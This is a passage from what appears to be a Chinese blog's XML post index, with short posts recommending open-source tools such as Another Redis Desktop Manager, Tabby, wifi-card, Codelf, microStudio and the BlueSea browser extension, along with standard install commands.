src="%E5%90%AC%E8%AF%B4%E5%9C%A8%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E9%87%8D%E5%BC%80%E4%BA%BA%E7%94%9F%EF%BC%9F.assets/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20220227232844.gif" alt="微信图片_20220227232844"></p><p>比如你可以选骑士(可以轻松学会骑车)、老司机(保证你和家人不会发生车祸)、佛宗(考上哈佛大学的几率提高)、迟来之财(90岁时家境+4)…… </p><p>每次重开的天赋选项都不一样。</p><p>选好天赋以后,就进入“颜值、智力、体质、家境”的点值分配环节,正常情况下一共20个点,你可以随意分配这四个选项,决定自己是家境好一点还是颜值高一些什么的。</p><p><img src="%E5%90%AC%E8%AF%B4%E5%9C%A8%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E9%87%8D%E5%BC%80%E4%BA%BA%E7%94%9F%EF%BC%9F.assets/image-20220227233031833.png" alt="image-20220227233031833"></p><p>当然也可以选择“随机分配”,然后你就可以开始新人生啦!</p><p>“0岁:你出生了,是个女孩。” 接着依次点击鼠标,就可以一岁一岁浏览你的人生了:</p><p><img src="%E5%90%AC%E8%AF%B4%E5%9C%A8%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E9%87%8D%E5%BC%80%E4%BA%BA%E7%94%9F%EF%BC%9F.assets/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20220227233138.gif" alt="微信图片_20220227233138"></p><p>你在游戏中扮演的角色死亡后,点击一下人生回放,系统自动生成一个JPEG图像。拿去分享找乐了。</p><p>哦,最后还可以再查看一下人生总结,看看系统对你这次游戏中度过的一生的评价,还有对应的分数和排行榜哦!</p><p>点进去一看:</p><p><img src="%E5%90%AC%E8%AF%B4%E5%9C%A8%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E9%87%8D%E5%BC%80%E4%BA%BA%E7%94%9F%EF%BC%9F.assets/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20220227233514.gif" alt="微信图片_20220227233514"></p><p>啊哈哈哈哈,没想到吧!</p><h4 id="小结-:"><a href="#小结-:" class="headerlink" title="小结 :"></a>小结 :</h4><p>怎么样看完是不是很想拥有亲自去体验以下这款搞笑的沙雕小游戏?还不赶快去公众号后台回复「<strong>重开</strong>」即可轻松获取下载地址以及项目源码地址。</p><p>最后正如神户小德告诫各位玩家的那样:</p><blockquote><p>希望玩过《人生重开模拟器》的各位,能多接触现实、尊重生命。</p><p>不管是拿到了什么样的开局,遇到什么样的人生,都不要轻易选择重来。</p></blockquote><h4 id="写在最后-:"><a href="#写在最后-:" class="headerlink" title="写在最后 :"></a>写在最后 :</h4><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> zero </tag>
</tags>
</entry>
<entry>
<title>超好用的Redis客户端,来咯!</title>
<link href="/blog/2022/02/27/chao-hao-yong-de-redis-ke-hu-duan-lai-ge/"/>
<url>/blog/2022/02/27/chao-hao-yong-de-redis-ke-hu-duan-lai-ge/</url>
<content type="html"><![CDATA[<p>大家好,我是电脑里都是好用工具的开源大叔。</p><p>如果你是一名后端程序员,一定会接触到 Redis。而大家常用的 Redis 客户端,应该就是 Redis Desktop Manager(简称 RDM )了。这是一款极为强大的Redis客户端应用,不过在使用 RDM 的时候,总是会遇到不尽如人意的问题,比如:它是一款收费软件、在加载大量key时会有卡死的情况、敲命令时没有自动补全等等。</p><p>那么有没有更好用的平替工具呢?当然有啦,不过能打败 RDM 的工具,就只能是另一个 RDM 了——Another Redis DeskTop Manager。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>Another Redis DeskTop Manager 是一款更快、更好、更稳定的 Redis 桌面(GUI)管理客户端,兼容Windows、Mac、Linux,性能出众,轻松加载海量键值,且免费使用。</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p>在项目主页,根据你的操作系统下载对应的安装包即可。</p><p>Windows 系统可以直接下载 exe 文件,或者使用<code>winget install qishibo.AnotherRedisDesktopManager</code>命令;Linux 系统可以直接下载 AppImage 安装包,或者使用<code>sudo snap install another-redis-desktop-manager</code>命令;macOS 系统可以直接使用<code>brew install --cask another-redis-desktop-manager</code>命令,或者直接到 App Store下载即可。</p><p>如果你之前使用的就是 RDM,那么你会发现,Another RDM 的界面布局和 RDM 非常一致,这样你的操作习惯也能延续下来。但是,界面风格大不相同,看这暗黑的界面,是不是很酷。看起来非常舒适,且符合现代软件的交互。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220228001349913.png"></p><p>而且经过大叔一段时间的使用,我发现 Another RDM 不仅仅涵盖了 RDM 的全部功能,而且有很多自己特有的功能和优点。</p><h2 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h2><h3 id="支持命令补全"><a href="#支持命令补全" class="headerlink" title="支持命令补全"></a>支持命令补全</h3><p>在 Another RDM 的命令行输入框中,输入 Redis 的命令,软件会自动帮你补全,这个很方便,是 RDM 所没有的功能。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-5978429.png"></p><h3 id="多种格式展示"><a href="#多种格式展示" class="headerlink" title="多种格式展示"></a>多种格式展示</h3><p>key 对应的 value,可以选择多种格式的展示。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220228001349950.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Another RDM 的其他优点,大家可以在使用过程中慢慢探索了。总之,Another RDM 是一款非常优秀的、可以替代 RDM 的 Redis 客户端工具,非常建议大家尝试一下。所以,赶快去公众号后台回复「ARDM」获取项目地址吧。</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>你不会不想有一个自己的b站吧</title>
<link href="/blog/2022/02/23/ni-bu-hui-bu-xiang-you-yi-ge-zi-ji-de-b-zhan-ba/"/>
<url>/blog/2022/02/23/ni-bu-hui-bu-xiang-you-yi-ge-zi-ji-de-b-zhan-ba/</url>
<content type="html"><![CDATA[<p>Hello 大家好,我是人见人爱,花见花开,车见车爆胎的开源小妹!</p><p>B 站想必大家都知道吧,可以在上面追番,看直播,看美女(开源大叔告诉我的),你甚至还可以在上面学习!那么问题来了,这么酷的东西,你想不想拥有一个属于自己的 B 站呢?</p><p>如果你想,请继续往下看,如果你不想,也请你继续往下看,万一哪天你想了呢,哈哈~<br><img src="https://img.soogif.com/5V2QUQld88v7Rt9gsO8ZZuuuI8JHoycw.gif?scope=mdnice"></p><h3 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h3><p>今天给大家推荐的项目是 bilibili-vue,是一个全栈开发 B 站首页的项目。</p><p>这个项目的技术栈采用的是:</p><ul><li>前端:vue3 + vuex + vite + stylus + nginx</li><li>后端:koa2</li></ul><p>项目结构如下:</p><pre><code>├── banner //轮播组件│ ├── Banner.vue│ └── BannerItem.vue├── common // 公共组件│ ├── BHeader.vue│ ├── BMenu.vue│ ├── BMenuItem.vue│ ├── PostMaterial.vue│ ├── Search.vue│ └── TopContainer.vue├── content // 主内容组件│ └── BContent.vue├── contentRow // 单个分类的组件│ ├── BContentRow.vue│ ├── BRowBody.vue│ ├── BRowHead.vue│ ├── BRowItem.vue│ ├── BRowRank.vue│ └── BRowRankBody.vue├── contentTop // 页面顶部组件│ ├── BContentTop.vue│ └── BContentTopItem.vue├── live //直播所在的组件│ ├── BLive.vue│ ├── BLiveItem.vue│ ├── BLiveRank.vue│ └── BLiveRankItem.vue├── nav //右侧导航条组件│ ├── BNavSide.vue│ └── smooth-scroll.js└── promote // 推广组件 ├── BPromote.vue └── BPromoteItem.vue</code></pre><p>另外项目还采用了一些性能优化的方式:</p><ul><li>图片懒加载</li><li>压缩js、css</li><li>服务器开启gzip</li><li>浏览器缓存<h3 id="项目安装运行"><a href="#项目安装运行" class="headerlink" title="项目安装运行"></a>项目安装运行</h3>注意:运行前请先安装nodejs</li></ul><p>clone项目到本地</p><pre><code>git clone https://github.com/lybenson/bilibili-vue.git</code></pre><p>前端运行</p><pre><code>cd bilibili-vue &amp;&amp; yarn &amp;&amp; yarn dev</code></pre><p>后端运行</p><pre><code>cd bilibili-vue/bilibili-api &amp;&amp; yarn install &amp;&amp; yarn dev</code></pre><p><strong>再次注意!</strong> 先运行后端,再访问前端:<a href="http://localhost:8080。">http://localhost:8080。</a></p><h3 id="效果展示"><a href="#效果展示" class="headerlink" title="效果展示"></a>效果展示</h3><p>说了这么多了,我们来看看效果吧~</p><p><img src="https://files.mdnice.com/user/21062/8c9983ee-9ab2-4c14-9ae1-47ff036dcd2e.png" alt="首页"></p><p><img src="https://files.mdnice.com/user/21062/836c234f-1856-4c8f-b839-9858147ae45a.png" alt="正在直播"></p><p><img src="https://files.mdnice.com/user/21062/534fce7f-3078-451e-bbcc-b6c0b77988a0.png" alt="排行榜"></p><p>好了,就看这么多吧,剩下的你们后台回复 <strong>bilibili</strong> 自己去发掘吧,本宝宝累了,要休息了,bye~</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>连接WiFi还要输密码?来扫一扫我的小卡片儿吧</title>
<link href="/blog/2022/02/22/lian-jie-wifi-huan-yao-shu-mi-ma-lai-sao-yi-sao-wo-de-xiao-qia-pian-er-ba/"/>
<url>/blog/2022/02/22/lian-jie-wifi-huan-yao-shu-mi-ma-lai-sao-yi-sao-wo-de-xiao-qia-pian-er-ba/</url>
<content type="html"><![CDATA[<p>大家好,我是聪明机灵的开源小妹。</p><p>上周末朋友约了小妹到家里小聚一下,而去朋友家做客,进门第一件事当然就是要问:“你家WiFi密码是多少呀?”但是朋友家的宽带使用的是自带的路由器,密码都是默认的,不好记也不好输入。于是小妹就开始思考,会不会有什么开源项目可以帮我们快速的连接WiFi呢?果然,还真有这么一个项目,wifi-card。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>wifi-card是一个使用JS开发的开源项目。这个小项目就像名字所说,你可以通过项目生成一张你家WiFi的二维码名片,可以打印出来,也可以保存成图片。有朋友来串门需要连接WiFi时,直接用手机扫码就可以直接连接WiFi啦。</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p>你可以选择在本地用Docker部署该项目进行访问,也可以直接访问官方提供的demo链接体验这个小卡片的功能。</p><p>我们访问官方提供的demo链接,可以看到界面很简洁,输入WiFi的网络名称和密码,就可以生成一张二维码的卡片,如图。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220222231213746.png"></p><p>我们也可以勾选隐藏密码,简单的防止一眼就被发现密码。</p><p>之后打开手机相机应用扫描二维码,这里小妹用自己的iPhone来给大家试一下,可以看到,取景框中识别了二维码,自动提示了“加入xxx网络”,点击这个黄色的链接就可以直接联网了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220222231215049.jpg"></p><p>之后你可以选择打印出来,贴到路由器附近,也可以选择直接将二维码卡片截图保存,用来分享你的WiFi。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>怎么样,这个小项目是不是很方便实用?想尝试的话,赶快到公众号后台回复「wificard」来获取项目链接和demo地址吧!</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>这个插件让你CommitMessage规范又清晰</title>
<link href="/blog/2022/02/22/zhe-ge-cha-jian-rang-ni-commitmessage-gui-fan-you-qing-xi/"/>
<url>/blog/2022/02/22/zhe-ge-cha-jian-rang-ni-commitmessage-gui-fan-you-qing-xi/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹。</p><p>想必现在大多同学都是使用 Git 进行代码的提交、恢复、跟踪的,是我们开发日常最常用的工具之一。</p><p>在我们开发完代码后,需要使用 <code>git commit -m &#39;message&#39;</code> 命令来描述我们修改的内容,此时如果信息填写的不规范,很容易不能清晰地知道提交的变更内容,造成很大的效率下降。</p><p>所以这时就需要一种规则来管理我们的提交内容,今天小妹就给大家介绍两款神器:git-commit-plugin 和 commit-template-idea-plugin。</p><h2 id="好处"><a href="#好处" class="headerlink" title="好处"></a>好处</h2><p>在介绍这两款插件之前,首先需要给大家 Commit Message 的规范, <a href="https://docs.google.com/document/d/1QrDFcIiPjSLDn3EL15IJygNPiHORgU1_OOAqWjiDU5Y/edit#heading=h.greljkmo14y0">Angular 规范</a>。</p><p>格式化的 Commit Message 有很多好处:</p><ol><li>提供更多的有效信息,方便预览;</li><li>可通过关键字,快速检索,便于快速找到信息;</li><li>可以直接从 Commit 生成 Change log。</li></ol><h2 id="规范格式"><a href="#规范格式" class="headerlink" title="规范格式"></a>规范格式</h2><p>每一个 Commit Message 都包含三部分:Header、Body 和 Footer。</p><pre class=" language-wasm"><code class="language-wasm"><type>(<scope>): <subject> // 必须// 空一行<body> // 非必须// 空一行<footer> // 非必须</code></pre><h3 id="Header"><a href="#Header" class="headerlink" title="Header"></a>Header</h3><p>Header 部分由 <code>type</code>(必须)、<code>scope</code>(可选)和 <code>subject</code>(必须)组成的</p><p><code>type</code> 用于说明 commit 的类别,只允许使用以下 7 个标识。</p><pre class=" language-wasm"><code class="language-wasm">feat:新功能(feature)fix:修补bugdocs:文档(documentation)style: 格式(不影响代码运行的变动)refactor:重构(即不是新增功能,也不是修改bug的代码变动)test:增加测试chore:构建过程或辅助工具的变动</code></pre><p><code>scope</code>用于说明 commit 影响的范围,比如数据层、控制层、视图层等等,视项目不同而不同。</p><p><code>subject</code>用于该 commit 目的的简短描述。</p><h3 id="Body"><a href="#Body" class="headerlink" title="Body"></a>Body</h3><p>Body 部分是对本次 commit 的详细描述,可以分成多行。</p><p>注意应该写清楚代码变动的目的和之前行为的不同。</p><h3 id="Footer"><a href="#Footer" class="headerlink" title="Footer"></a>Footer</h3><p>如果当前的 commit 针对某个 issue,那么可以在 Footer 关闭这个 issue。</p><pre class=" language-wasm"><code class="language-wasm">Closes #231, #452</code></pre><h2 id="插件介绍"><a href="#插件介绍" class="headerlink" title="插件介绍"></a>插件介绍</h2><p>今天介绍的两款插件,分别用于不同编辑器/IDE:</p><p>git-commit-plugin → VSCode</p><p>commit-template-idea-plugin → Intellij IDEA</p><h3 id="git-commit-plugin-快速使用"><a href="#git-commit-plugin-快速使用" class="headerlink" title="git-commit-plugin 快速使用"></a>git-commit-plugin 快速使用</h3><ol><li>安装插件</li><li>使用命令 <code>showGitCommit</code> 打开插件输入框</li></ol><p><img src="https://files.mdnice.com/user/21078/14134b55-7722-4554-a987-c9e801f00732.gif"></p><ol start="3"><li>输入 commit 信息,将会自动生成 Commit Message 信息。</li></ol><p><img src="https://files.mdnice.com/user/21078/d30f7a2c-64d9-4bce-95f6-a3021a59a21e.gif"></p><h3 id="commit-template-idea-plugin-快速使用"><a href="#commit-template-idea-plugin-快速使用" class="headerlink" title="commit-template-idea-plugin 快速使用"></a>commit-template-idea-plugin 快速使用</h3><ol><li>安装插件</li><li>提交时点击 Create commit message</li></ol><p><img src="https://files.mdnice.com/user/21078/8a5fe9b1-b39c-4c5e-bb40-8c1a0f2111ef.png"></p><ol start="3"><li>根据提醒输入内容</li></ol><p><img src="https://files.mdnice.com/user/21078/3da3ec38-9c80-4457-86a3-a97075204dc8.png"></p><ol start="4"><li>完成</li></ol><p><img src="https://files.mdnice.com/user/21078/ef32cf86-0294-45bf-ba7b-1b02f529c0fe.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>一段规整信息有效的 Commit Message 有时候能够帮助大家更好的理解代码和项目的发展进程,但是规则比较繁琐容易忘,今天给大家介绍的这两款插件希望能够帮助到小伙伴们!</p><p>感兴趣的话,去公众号后台回复「<code>commit</code>」来获取这两款插件的地址吧!</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>变量命名也有专门的网站。。。孤陋寡闻了</title>
<link href="/blog/2022/02/20/xie-dai-ma-shi-hou-ming-ming-fang-fa-huo-bian-liang-ci-qiong-liao-zen-me-ban/"/>
<url>/blog/2022/02/20/xie-dai-ma-shi-hou-ming-ming-fang-fa-huo-bian-liang-ci-qiong-liao-zen-me-ban/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>“计算机科学的两件难事:缓存失效和命名。”,平常在写代码的时候,你有没有为命名变量而烦恼呢?</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202201751716.png" alt="image-20220220175052839"></p><p>《Clean Code》和《编写可读代码的艺术》将有意义的命名作为第一个内容来描述。千万不要使用拼音这样来命名变量,自己今天看的懂,过几天自己就不一定看得懂了,如果碰巧同事接手了你的工作,那肯定是一脸懵逼,研究表面半数的人认为命名是最头疼的!</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202201801523.jpg"></p><p>大叔最近逛开源社区时候,发现了一个开源项目 – codelf(变量命名神器),Codelf 是一款帮开发者从中找出已有的匹配关键字的变量名,从而帮助为变量名苦恼的开发者命名的软件, 并且这个搜索服务支持直接搜索中文!</p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>Codelf 是通过搜索在线开源平台 Github, Bitbucket, Google Code, Codeplex, Sourceforge, Fedora Projec 的项目源码,帮开发者从中找出已有的匹配关键字的变量名。codeif 支持中文查询,可以根据需要查询尽可能满足我们所需要的结果,并展示与查询结果相关的支持各种编程语言的代码片段以及代码库。</p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>第一种方式:只需要在搜索栏中输入自己想要搜索的内容,既可以获得一系列变量名称或者方法名称。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202201833723.png" alt="image-20220220183308023"></p><p>第二种方式:在 IDE 中安装插件,这里 以目前比较流行的 IDEA 举例。</p><p>1、安装 OnlineSearch插件,通个它可以添加任意搜索引擎,然后通过快捷键实现一键搜索;</p><p>2、setting-&gt; Keymap -&gt; 搜索“OnlineSearch” -&gt; 在“Other” 下的 “OnlineSearch”右键 -&gt; 选”Add Mouse ShortCut” -&gt; 选择 “Double click” 录入快捷键 -&gt; 点击 “OK” 完成。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202201842914.png" alt="image-20220220184209109"></p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202201842088.png" alt="image-20220220184228622"></p><p>3、setting-&gt; OnlineSearch -&gt; 三个输入框依次输入:Codelf, <code>https://unbug.github.io/codelf/#%S</code> 和 <code>%S</code> -&gt; 然后点击”Apply“完成。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202201842089.png" alt="image-20220220184246793"></p><p>4、按照设置的快捷键来使用啦。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Codelf 使用起来很方便,支持多种开发语言,比如 Java、python、HTML、CSS、JavaScript等等。如果你也在为命名变量而烦恼,在公众后台回复【命名】获取项目地址吧~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>再见Xshell!这个开源的终端工具更酷炫!</title>
<link href="/blog/2022/02/20/zai-jian-xshell-zhe-ge-kai-yuan-de-zhong-duan-gong-ju-geng-ku-xuan/"/>
<url>/blog/2022/02/20/zai-jian-xshell-zhe-ge-kai-yuan-de-zhong-duan-gong-ju-geng-ku-xuan/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹</p><p>Windows 系统最常用的就是 Xshell 这款终端工具了,但是它只能用于非商业用途,也就是说如果在公司用的话,公司就得掏钱了,当然不是大公司的话,也不会有人查你用盗版的问题。</p><p>最近逛开源站发现一款用于远程连接的神器 Tabby 可以完全替代xshell,真心很香。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>Tabby 是 Windows 标准终端 (conhost)、PowerShell ISE、PuTTY、macOS Terminal.app 和 iTerm 的替代品。还支持中文哦~</p><p><img src="https://files.mdnice.com/user/22696/0b436e03-a214-4e93-bdbb-38be252e1c87.png"></p><h3 id="功能特性大概有"><a href="#功能特性大概有" class="headerlink" title="功能特性大概有"></a>功能特性大概有</h3><ul><li>支持多平台,Windows、MacOS(Intel 芯片/M1 芯片)、Linux 都有对应的安装包的;</li><li>自带 SFTP 功能,能够与 Linux 系统传输文件;</li><li>炫酷的终端页面,简单易用,以及各种插件支持等<h2 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h2>在项目tag里面选择最后的版本<br>windows 选择 tabby-xxx-setup.exe<br>mac 选择 macos-xxxx.pkg<br><img src="https://files.mdnice.com/user/22696/ed2a4754-13b8-43fd-b931-1c78c4ba23c6.png"><br>下载完成后,直接双击,一路下一步即可。<h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><img src="https://files.mdnice.com/user/22696/57d6b0ce-7de2-4305-b682-f36142ee01ed.png"><h3 id="新终端"><a href="#新终端" class="headerlink" title="+新终端"></a>+新终端</h3>它默认是新建一个针对本地电脑的终端窗口<br>windows 是打开 cmd ,如果是 macOs 系统就会新建一个 terminal。<h3 id="配置和连接"><a href="#配置和连接" class="headerlink" title="配置和连接"></a>配置和连接</h3>主要是用于连接已创建的远程服务器<br><img src="https://files.mdnice.com/user/22696/8131467d-d363-4582-ab35-b952016ed40a.png"></li></ul><h3 id="连接服务器"><a href="#连接服务器" class="headerlink" title="连接服务器"></a>连接服务器</h3><p>路径:设置 -》 配置和连接 -》新增配置<br><img src="https://files.mdnice.com/user/22696/33cd0673-7d0e-445f-b556-63eabd7bd93f.png"><br>选择对应的模板即可,我这里演示的ssh的模板<br><img src="https://files.mdnice.com/user/22696/a01c6b42-1fa8-4973-a064-022882587c0f.png"><br>填入账号密码,连接即可<br><img src="https://files.mdnice.com/user/22696/e3ecaea9-bb57-4415-b984-1dd97c0baab9.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>Tabby 这款终端工具,小妹体验了几天下来,感觉挺不错,配置简单易用。想不想试试呢,快去公众号后台回复「tabby」试试吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>封神之作,良心的开源游戏开发平台</title>
<link href="/blog/2022/02/20/feng-shen-zhi-zuo-liang-xin-de-kai-yuan-you-xi-kai-fa-ping-tai/"/>
<url>/blog/2022/02/20/feng-shen-zhi-zuo-liang-xin-de-kai-yuan-you-xi-kai-fa-ping-tai/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔~</p><p>玩过那么多游戏,你是否有想过自己创造一款游戏冲动,<br>可既没素材,又没相关知识不知道如何下手?</p><p>如果有,那么今天由我来为你打开一扇魔法的大门,带你进入神奇的游戏开发世界 microStudio 一款免费开源的游戏开发平台。</p><p><img src="https://files.mdnice.com/user/22696/6193090c-e476-48d5-b2c4-657fe72ff2e5.png"></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>microStudio 是一个免费的开源在线游戏引擎。它集搜索、开发、学习、体验、交流等功能于一身,让你能完全沉浸于游戏开发领域,免受外界其它因素的干扰。</p><h3 id="游戏搜索"><a href="#游戏搜索" class="headerlink" title="游戏搜索"></a>游戏搜索</h3><p>在搜索界面,你可以按照游戏类别划分,筛选出小游戏。通过游戏的热度、新鲜度、受欢迎程度来排名:<br><img src="https://files.mdnice.com/user/22696/78f89948-1441-460d-bf71-3347845fdd20.png"></p><p>点击某个游戏的 Run(运行)按钮时,便可以进入到它的游戏界面,开始玩耍。<br><img src="https://files.mdnice.com/user/22696/b627cabe-c938-4298-a81a-32836136e0d0.jpg"></p><h3 id="游戏教程"><a href="#游戏教程" class="headerlink" title="游戏教程"></a>游戏教程</h3><p>打开网站的教程页面,这里有作者为你精心提供的一系列游戏开发教程。<br><img src="https://files.mdnice.com/user/22696/84f7a1c8-936a-4301-8e9b-7456cb73b056.jpg"><br>教程的每个章节,都很简短,并带有引导式的教学功能,让你能一步步按计划进行,学起来不会不知所措。<br>从左到右,把上面那几个简单的教程过一遍,就能开始上手制作游戏了。</p><h3 id="游戏开发"><a href="#游戏开发" class="headerlink" title="游戏开发"></a>游戏开发</h3><p>网站提供了一个可在线运行的游戏代码编辑器,在这个编辑器里面,你可以随心所欲的编写代码,设置图片素材,插入音乐,查阅开发文档,甚至完成游戏发布等操作。还可以参考游戏的源码<br><img src="https://files.mdnice.com/user/22696/74fbd72f-efee-473e-8009-d7b9d3c1b870.png"><br>当游戏成功发布,便会挂载到 microstudio.io 的域名下,一键分享,即可快速推给身边的同事或朋友,炫耀一番。</p><h3 id="社区讨论"><a href="#社区讨论" class="headerlink" title="社区讨论"></a>社区讨论</h3><p>当你遇到开发难题时,到社区上面跟其它用户讨论解决方案,也是个不错的选择。<br><img src="https://files.mdnice.com/user/22696/a6610bc2-0070-4678-8d6c-8b1e45f835cd.jpg"></p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><p>使用 microStudio 的 3 种方法,在线、离线、自建服务器,具体可以参考开源项目中的说明。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>看完是不是有上手的冲动?快去公众号后台回复「游戏平台」即可获得源代码地址。和大叔一起开发自己的游戏吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>我在学外语,你们都出去!</title>
<link href="/blog/2022/02/18/wo-zai-xue-wai-yu-ni-men-du-chu-qu/"/>
<url>/blog/2022/02/18/wo-zai-xue-wai-yu-ni-men-du-chu-qu/</url>
<content type="html"><![CDATA[<p>Hello 大家好,我是爱撸码的开源大叔。</p><p>你们是否还记得那个表情包呢?就是“我在学外语,你们都出去.gif”,他那个是假学,而我们可是真真正正的要学外语的哦!</p><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>作为开发者,虽然日常总是与英语打交道,但通常是带有强烈目的性的。</p><p>因此,在解决技术问题或学习新技能的过程里,遭遇模陌生的单词时,往往直接借助翻译软件,一掠而过。不做记忆,同一个生词下次再相遇依旧不认识。</p><p>今天大叔就带来一款好用的开源 chrome 插件—<strong>BlueSea</strong> 来帮你解决这个问题,让你随时随地都能学英语。</p><h2 id="看看有什么功能"><a href="#看看有什么功能" class="headerlink" title="看看有什么功能"></a>看看有什么功能</h2><ul><li>页面英文划词翻译、发音</li><li>本地单词管理(单词本)</li><li>词频统计(总词频,当日词频,页面内词频)</li><li>精确的全局单词高亮</li><li>单词弹幕(复习、发音)</li><li>卡片式单词复习功能(仅在- 单词弹幕关闭时生效)</li><li>根据遗忘曲线,自动安排单- 词学习计划(卡片或弹幕)</li><li>导入/导出</li><li>单词查询</li></ul><h2 id="安装教程"><a href="#安装教程" class="headerlink" title="安装教程"></a>安装教程</h2><p>1.直接下载 ZIP 文件<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217170151.png"><br>2.打开 Chrome 浏览器,在地址栏中输入chrome://extensions/,打开开发者模式,并选择加载已解压的扩展程序。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217170352.png"></p><p>这样就安装完成了,超级简单。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217170449.png"></p><h2 id="功能一览"><a href="#功能一览" class="headerlink" title="功能一览"></a>功能一览</h2><p>下面跟随大叔来看看 Bluesea 都能做些什么吧!</p><h3 id="页面英文划词翻译、发音"><a href="#页面英文划词翻译、发音" class="headerlink" title="页面英文划词翻译、发音"></a>页面英文划词翻译、发音</h3><p>在安装了 Bluesea 的情况下,在任何页面下,只要选中英文单词或句子,就能够秒出<strong>翻译结果和发音</strong>。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217171059.png"></p><h3 id="本地单词管理(单词本)"><a href="#本地单词管理(单词本)" class="headerlink" title="本地单词管理(单词本)"></a>本地单词管理(单词本)</h3><p>选中单词并点击<strong>收藏</strong>,还可以将单词(或者句子)收藏到本地单词本,以后浏览其他网页再遇到这个单词,都会自动划线。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217171326.png"></p><h3 id="单词本"><a href="#单词本" class="headerlink" title="单词本"></a>单词本</h3><p>点击插件,就会弹出单词本。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217171729.png"><br>单词本中有查词,导入\导出等功能,完全能够满足咱们日常的工作和学习实用。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20220217171821.png"></p><p>Bluesea 的实用功能实在是太多了,大叔在这里就起个抛砖引玉的作用吧,更多实用的功能还需大家慢慢去发掘,去哪发掘呢?老规矩,后台回复 <strong>bluesea</strong> 获取项目地址!</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>保护电脑私密资源,隐藏你的小秘密</title>
<link href="/blog/2022/02/17/bao-hu-dian-nao-si-mi-zi-yuan-yin-cang-ni-de-xiao-mi-mi/"/>
